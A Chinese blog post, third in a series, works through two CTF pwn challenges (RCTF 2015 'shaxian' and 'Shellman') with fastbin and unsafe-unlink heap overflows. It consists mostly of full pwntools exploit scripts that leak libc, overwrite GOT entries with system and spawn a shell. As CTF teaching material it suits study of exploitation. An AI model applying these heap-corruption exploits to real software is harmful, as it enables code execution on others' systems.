见微知著(三):解析ctf中的pwn--Fastbin和bins的溢出
1月1号写博客,也是不容易呀!大家新年快乐呀!
先从Fastbin看起,是2015年RCTF的一道pwn题,shaxian。先看看代码的大致流程,随便输入一下:
这个题目关键之处在于堆溢出,对于堆种类的选择,由于分配堆之后直接就进行写了,所以,使用fastbin。
关于fastbin的具体使用,前文已经将的很清楚了。这里主要是覆盖now指针,然后就可以任意读写了,exp如下:
from pwn import * DEBUG = 1 LOCAL = 1 VERBOSE = 1 atoi_got = 0x804b038 #bss_address = 0x0804b400 if LOCAL: r = process("shaxian") else: r = remote('127.0.0.1',1001) if DEBUG: gdb.attach(r) if VERBOSE: context(log_level='debug') def dcai(payload,number=0): r.sendline('1') r.recvuntil('Jianjiao') r.sendline(payload) r.recvuntil('How many?') r.sendline(str(number)) r.recvuntil('choose:') def submit(): r.sendline('2') r.recvuntil('Your order has been submitted!') r.recvuntil('choose:') r.recvuntil("Address:") r.sendline(p32(0)+p32(0x31)) r.recvuntil('Your Phone number:') r.sendline("a"*0xf0+p32(0)+p32(0x31)) r.recvuntil('choose:') payload = 'B'*24+p32(0)+p32(0x31)+p32(0x804b02c) #puts dcai(payload) r.sendline('4') r.recvuntil('* ') r.recvuntil('* ') puts = int(r.recvuntil('\n').strip('\n'))&0xffffffff libc = puts - 0x657e0 print 'libc:',hex(libc) system = libc + 0x40310 print 'system:',hex(system) #atoi函数不能转换大于7fffffff的值,而加载地址前8位不变,所以可以只选择覆盖前24为 low8_system = (system<<8)%pow(2,32) payload = 'C'*24+p32(0)+p32(0x31)+p32(0x804b1b8) dcai(payload) raw_input('before') submit() raw_input('after') payload = "a"*4 payload += p32(atoi_got-1) dcai(payload,low8_system) r.sendline('/bin/sh') r.interactive() r.sendline('ls') r.recv()
关于bins的溢出的话,用Shellman这个pwn题来理解,其实这个前文的freenote非常相似,而且简单了很多,不多说,直接放exp,这三篇文章的二进制文件直接放在github里面了:
from pwn import * DEBUG = 0 LOCAL = 1 VERBOSE = 1 if LOCAL: p = process('./shellman') else: p = remote('127.0.0.1',6666) if DEBUG: gdb.attach(p) if VERBOSE: context(log_level='debug') p.recvuntil('>') def list_(): p.sendline('1') k = p.recvuntil('>') return k def new(payload): p.sendline('2') p.recvuntil('Length of new shellcode:') p.sendline(str(len(payload))) p.recvuntil('Enter your shellcode(in raw format):') p.send(payload) p.recvuntil('>') def edit(payload,num=0): p.sendline('3') p.recvuntil('Shellcode number:') p.sendline(str(num)) p.recvuntil('Length of shellcode:') p.sendline(str(len(payload))) p.recvuntil('Enter your shellcode:') p.send(payload) p.recvuntil('>') def delete(num=0): p.sendline('4') p.recvuntil('Shellcode number:') p.sendline(str(num)) p.sendline(str(num)) first_size = 0x30 second_size = 0xa0 new( 'a' * first_size) #at 0x0079e010 new( 'b' * second_size) #at 0x0079e050 new( '/bin/sh;') PREV_IN_USE = 0x1 prev_size_0 = p64(0) size_0 = p64(first_size | PREV_IN_USE) fd_0 = p64(0x006016d0 - 0x18) #bk offset bk_0 = p64(0x006016d0 - 0x10) #fd offset user_data = 'm' * (first_size - 0x20) #0x20 = chunk header size prev_size_1 = p64(first_size) size_1 = p64((second_size + 0x10) & (~PREV_IN_USE)) #make first chunk free edit(prev_size_0 + size_0 + fd_0 + bk_0 + user_data + prev_size_1 + size_1) #begin delete(1) #after unlink then *0x6016d0 == 0x6016b8, let's corrupt 0x6016d0 with libc_free_got rubbish = 'whatthis' is_shellcode_exist = p64(0x1) shellcode_size = p64(0x8) libc_free_got = p64(0x00601600) edit(rubbish + is_shellcode_exist + shellcode_size + libc_free_got) free_address = list_().split(': ')[1][0:16] free_address = int(''.join(free_address[i:i+2] for i in range(14,-2,-2)),16) print 'free_address:',hex(free_address) libc= free_address - 0x82d00 print 'libc_address:',hex(libc) system = libc + 0x46590 print 'system_address:',hex(system) edit(p64(system)) #just free delete(2) p.interactive()